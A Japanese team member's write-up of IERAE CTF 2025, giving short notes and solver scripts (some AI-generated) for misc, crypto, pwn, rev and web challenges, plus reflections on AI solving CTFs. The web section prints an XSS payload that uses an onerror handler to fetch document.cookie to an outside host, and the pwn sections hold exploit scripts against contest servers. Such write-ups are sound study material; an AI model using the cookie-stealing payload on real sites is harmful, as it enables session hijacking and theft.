IERAE CTF 2025

日本時間の6/21 15:00 - 6/22 15:00 の24時間で開催されました。

ライブと被っていたのでフルでは出られず、一人で出ようかと思いましたが、BunkyoWesternsで出ました。

最終的なスコアは1728で23位、23区って感じ。

メンバーの多数が海外の決勝に行ったり学生チームで出ていたので、st98さんと二人+Claude+o4-miniでした。

st98さんのwriteup

私は

submitしました。

というのも解いたのは俺よりほぼエーアイなので。

[misc 96] DiNo.1

chromeのあの恐竜のゲームっぽいのが🐻と🤞になっている。

DevtoolでDebugger使ってスコアを書き換えました。

IERAE{In_f4ct,th3_4uth0r's_h1gh_sc0r3_1s_4b0ut_5000}

[crypto 133] Baby MSD

#!/usr/bin/env python3
from pwn import remote

HOST = '35.200.10.230'
PORT = 12343

r = remote(HOST, PORT)
M = str(2 * 10**30)

for stage in range(1, 101):
    for _ in range(2000):
        r.recvuntil(b'Enter mod:')
        r.sendline(bytes(M))
    r.recvuntil(b'Which number')
    r.sendline(b'1')
    print(r.recvline(), end='')

print(r.recvall().decode())

とりあえずcodexにExploitっぽいものを作らせ、ちょっと高速化しただけです。

IERAE{bab00_gu0ooo_g00_47879e28a162}

[pwn 106] Length Calculator

signal handlerでwinが設定されているので、0にすれば通ります。最初普通にwinどうやって呼ぼうか迷った。

IERAE{Th3_5h0rt35t_3v3r_07a972c0}

[rev 102] rev rev rev

#!/usr/bin/env python3
import ast

def main():
    # read transformed data
    with open('output.txt', 'r') as f:
        data = f.read()
    z = ast.literal_eval(data)
    # invert transformations: bitwise NOT, XOR, then reverse order
    y = [~i for i in z]
    x = [i ^ 0xff for i in y]
    x.reverse()
    # reconstruct flag string
    flag = ''.join(chr(i) for i in x)
    # output and write to flag.txt
    print(flag)
    with open('flag.txt', 'w') as f:
        f.write(flag)

if __name__ == '__main__':
    main()

適当にcodexに投げたらast使ってきてびっくりした。わざわざそんな事せんでも。

IERAE{9a058884-2e29-61ab-3272-3eb4a9175a94}

[web 138] warmdown

これは自力でガチャガチャしました。まぁWarmupって感じ。 実は社内で研修用に作った奴にちょっと似てる。

![x" onerror=fetch('https://example.com/?'+document.cookie);&quot](x)

IERAE{I_know_XSS_is_the_m0st_popular_vu1nerabili7y}

[pwn 182] Stdio Studio

#!/usr/bin/env python3
from pwn import *
context.log_level = 'critical'
context.binary = './chal'

io = remote('35.187.219.36', 33335)

io.recvuntil(b"Enter command: ")
io.sendline(b"1")

io.recvuntil(b"Enter command: ")
io.sendline(b"2")
io.recvuntil(b"Size: ")
io.sendline(b"80")
io.recvuntil(b"Input: ")
io.shutdown('send')

print(io.recvline().decode().strip())

-O3memsetが消える奴。この前のSECCONのAlpacaで出たのもそうだけど、Pwnにおいてソースコードの配布が前提になってきたので、ソースコードで逆に意地悪する奴が増えていくと思うよ。

俺もやりたいもん。

IERAE{I/O_15_4n_3s53nt1a1_p1ec3_0f_pwn_f2e8ad23}

[crypto 203] trunc

Skip Skip Skip 1が全然刺さらないので、とりあえずSolveが多めの残っている問題をエーアイに丸投げしてる最中に解けた奴。

#!/usr/bin/env python3
import re
import sys

def solve_lin_mod2(row_masks, rhs_bits, n):
    m = len(row_masks)
    rowlist = row_masks.copy()
    ylist = rhs_bits.copy()
    pivot = [-1] * n
    r = 0
    for col in range(n):
        sel = -1
        for i in range(r, m):
            if (rowlist[i] >> col) & 1:
                sel = i
                break
        if sel == -1:
            continue
        if sel != r:
            rowlist[r], rowlist[sel] = rowlist[sel], rowlist[r]
            ylist[r], ylist[sel] = ylist[sel], ylist[r]
        pivot[col] = r
        for i in range(m):
            if i != r and ((rowlist[i] >> col) & 1):
                rowlist[i] ^= rowlist[r]
                ylist[i] ^= ylist[r]
        r += 1
        if r >= m:
            break
    x = [0] * n
    for col in range(n):
        pi = pivot[col]
        if pi != -1:
            x[col] = ylist[pi]
    return x

def main():
    data = open('output.txt', 'r').read()
    nums = list(map(int, re.findall(r"\d+", data)))
    it = iter(nums)
    try:
        q = next(it)
        n = next(it)
        m_rows = next(it)
        c = next(it)
    except StopIteration:
        print("Failed to parse header", file=sys.stderr)
        sys.exit(1)
    # parse A matrix and b vector
    A256 = []
    for i in range(m_rows):
        row = []
        for j in range(n):
            a = next(it)
            row.append(a >> 8)
        A256.append(row)
    b_all = [next(it) for _ in range(m_rows)]
    # choose rows with known error=0: b mod256 > 143
    I0 = [i for i in range(m_rows) if (b_all[i] & 0xFF) > 143]
    if len(I0) < n:
        print(f"Not enough clean rows: {len(I0)} < {n}", file=sys.stderr)
        sys.exit(1)
    # build eqn matrices
    B256 = [b >> 8 for b in b_all]
    row_masks = [0] * len(I0)
    rhs0 = [0] * len(I0)
    for idx, i in enumerate(I0):
        mask = 0
        for j in range(n):
            if A256[i][j] & 1:
                mask |= 1 << j
        row_masks[idx] = mask
        rhs0[idx] = B256[i] & 1
    # solve s mod 2
    s_mod = solve_lin_mod2(row_masks, rhs0, n)
    # Hensel lift to mod 2^12
    # current s_mod entries represent s mod2
    for k in range(1, 12):
        modk = 1 << (k + 1)
        # compute RHS for correction bit
        rhsk = []
        for idx, i in enumerate(I0):
            # compute A_i * s_mod mod 2^(k+1)
            total = 0
            for j in range(n):
                total += A256[i][j] * s_mod[j]
            total %= modk
            # desired bit: (B256[i] - total) // 2^k mod2
            diff = (B256[i] - total) % modk
            rhsk.append((diff >> k) & 1)
        # solve correction x mod2
        xk = solve_lin_mod2(row_masks, rhsk, n)
        # update s_mod
        for j in range(n):
            if xk[j]:
                s_mod[j] |= 1 << k
    # decrypt ciphertext bits
    # remaining nums in it are ciphertext: for each bit, n u's then c
    cipher_nums = list(it)
    block = n + 1
    if len(cipher_nums) % block != 0:
        print("Ciphertext parse error", file=sys.stderr)
    num_bits = len(cipher_nums) // block
    flag_bits = []
    for bi in range(num_bits):
        start = bi * block
        u_block = cipher_nums[start:start + n]
        c_val = cipher_nums[start + n]
        # compute u256 dot s_mod mod 4096
        dot = 0
        for j, uj in enumerate(u_block):
            dot += (uj >> 8) * s_mod[j]
        dot &= (1 << 12) - 1
        u_s = dot << 8
        d = (c_val - u_s) % q
        bit = 1 if d > q // 2 else 0
        flag_bits.append(bit)
    # pack bits to bytes
    flag = bytearray()
    for i in range(len(flag_bits) // 8):
        b = 0
        for j in range(8):
            b |= (flag_bits[8 * i + j] & 1) << j
        flag.append(b)
    try:
        print(flag.decode())
    except UnicodeDecodeError:
        sys.stdout.buffer.write(flag)

if __name__ == '__main__':
    main()

IERAE{b4ndw1d7h_54v1ng_c1ph3r}

感想

永久Stage、最高でした。会場が暑すぎて終わりかと思ったけど、号泣。

あ、CTFはもうエーアイでMediumまで解ける時代っぽいです。

Cryptoも強いんだな。Webはもうちょっと戦えると思ってたけどそうでもないっぽい。Pwn/Revも解ける事がわかったのは学びです。